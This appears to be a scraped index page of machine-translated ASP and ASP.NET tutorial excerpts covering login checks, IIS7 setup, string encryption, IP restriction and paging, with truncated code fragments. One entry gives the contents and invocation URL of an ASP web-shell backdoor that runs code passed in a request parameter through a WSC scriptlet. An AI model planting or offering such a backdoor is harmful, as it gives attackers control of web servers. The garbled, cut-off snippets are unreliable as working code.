How to prevent users from logging on multiple times in asp.net-practical tips

The common processing method is, in the user login, judge whether this user has already existed in the application, if exists on the error, does not exist then adds to the application (application is all session common, A unique object for the

Using WSC to make an ASP backdoor _vbs

Backdoor.asp contents are as follows: B=request ("a") Set fs = GetObject ("Script:d:/web/scriptcodinginfo.wsc#haiyangtop") FS.LCX (b) %> The method is invoked as follows: Http://url/backdoor.asp?a=CreateObject ("Scripting.FileSystemObject").

IIS7 Configuration encyclopedia (asp.net 2.0, WCF, asp.net mvc,php) _win server

First,IIS7.0 configuration ASP. NET2.0 1, asp.net 2 department 1 first open the Win7 feature, the path I have marked The selection below is asp.net2.0, if you want to support asp.net1.1, your selected IIS6 compatible 2.) Set security options

asp.net jquery+ajax Asynchronous Refresh implementation sample _ajax related

Copy Code code as follows: Transformation The ASPH handler is as follows: Copy Code code as follows: using System; using System.Collections.Generic; using System.Linq; using System.Web;

Implementation of intercepting string-specific content functions in ASP-application techniques

Intercept a string-specific part of a content function '****************************** ' Function: Getkey (html,start,last) ' Parameters: HTML, original string to be intercepted; tart, intercept start tag; last, intercept end tag ' Author: Arisisi '

ASP string encryption and decryption function _ Application techniques

A_key=split ("96,44,63,80", ",") ' defines the key ' ********* encryption Process ********* Function EnCrypt (M) Dim Strchar,ikeychar,istringchar,i K=0 For I = 1 to Len (m) Ikeychar =cint (A_key (k)) Istringchar = ASC (Mid (m,i,1)) ' Gets the ASCII

Using ASP script to implement restrictive IP access _ application techniques

Cookies can not cross the domain is very troublesome, with this script is much more convenient. Ip=request.servervariables ("REMOTE_ADDR") Set Fso=createobject ("Scripting.FileSystemObject") Set Files=fso.opentextfile (Server.MapPath ("./ip.txt"), 1,

ASP to verify the function of IP format _ application techniques

Verifying IP format '****************************** ' Function: Checkip (Par_strip) ' parameter: str string to be detected ' Author: Arisisi ' Date: 2007/7/13 ' Description: Verify the IP format, is to return 1, otherwise return 0 ' Example: '******

ASP methods for repeating items in the divisor group _ Application techniques

Copy Code code as follows: Function MoveR (RSTR) Dim I,spstr Spstr = Split (Rstr, ",") For i = 0 to Ubound (SPSTR) If I = 0 Then MoveR = MoveR & Spstr (i) & "," Else If InStr (Mover,spstr (i)) =0 and I=ubound (SPSTR) Then

ASP Form Validation Function _ Application Tips

'************************************* ' Detect if it contains only English and digital '************************************* Function IsValidValue (Arrayn, STR) IsValidValue = False Dim Gname For each gname in Arrayn If Str = Gname

ASP stored Procedure Paging code 1th/2 Page _ Application Tips

The stored procedure is done in the form of select top plus not, and the speed is pretty fast. I've tested the millions. General query in 1 seconds, paste out the exchange, to see if there are any good suggestions. A few simple words can achieve

The ASP program that produces the picture (telephone, QQ and so on) in the webpage the application skill

Function: Use ASP program to generate picture format of phone number in the page. Copy Code code as follows: Call Com_creatvalidcode (Request.QueryString ("tel")) Public Sub Com_creatvalidcode (Ptel) '----------Prohibit caching

asp.net implementation of DataList and Repeater nested Binding method _ practical skills

The example in this article describes the method by which ASP.net implements DataList and repeater nested bindings. Share to everyone for your reference, specific as follows: " > ?monitor_id= "> &L T;/body>

Asp. How to implement callback _ practical skills in net

First, the introductionIn the default model of the ASP.net Web page, the user submits the page by clicking a button or another action. At this point, the client submits all data in the current page form, including some automatically generated hidden

asp.net Urlrewriter Use Experience Summary _ practical skills

The first step, please download the sample source code from here. Unzip the UrlRewriter.dll copy to your project Bin directory. In the second step, add in the web.config: Copy Code code as follows: The second step

Asp. NET development in the expression of the bug analysis _ practical skills

For example, the following code is used to test characters that match a regular expression from 0xFF to 0xFFFF. All characters with a value range of 0 to 0xFE cannot be matched.The following are the referenced contents: Copy Code code as

asp.net LINQ to export data to Excel code _ practical Tips

Some time ago, a friend. To complete this feature, the data is imported into the DataGrid and exported to Excel. This is really superfluous. Solution: read out data through LINQ and write directly to the data stream The code is as follows:

asp.net generating static pages and paging +ubb 1th/2 page _ Practical Tips

As an exercise I added "Insert Code" "Insert Run Code", you can see the situation, add other ubb.2, Code:Default.aspx.cs Copy Code code as follows: Using System; Using System.Data; Using System.Configuration; Using System.Web; Using

asp.net repeater register multiple-selection box ID to client _ practical tips when implementing bulk deletion

Copy Code code as follows: public static void Prerepater (Repeater repeater,system.web.ui.page Page) { ClientScriptManager cs = page. ClientScript; for (int i = 0; i { CheckBox CBX = (checkbox) repeater. Items[i]. FindControl

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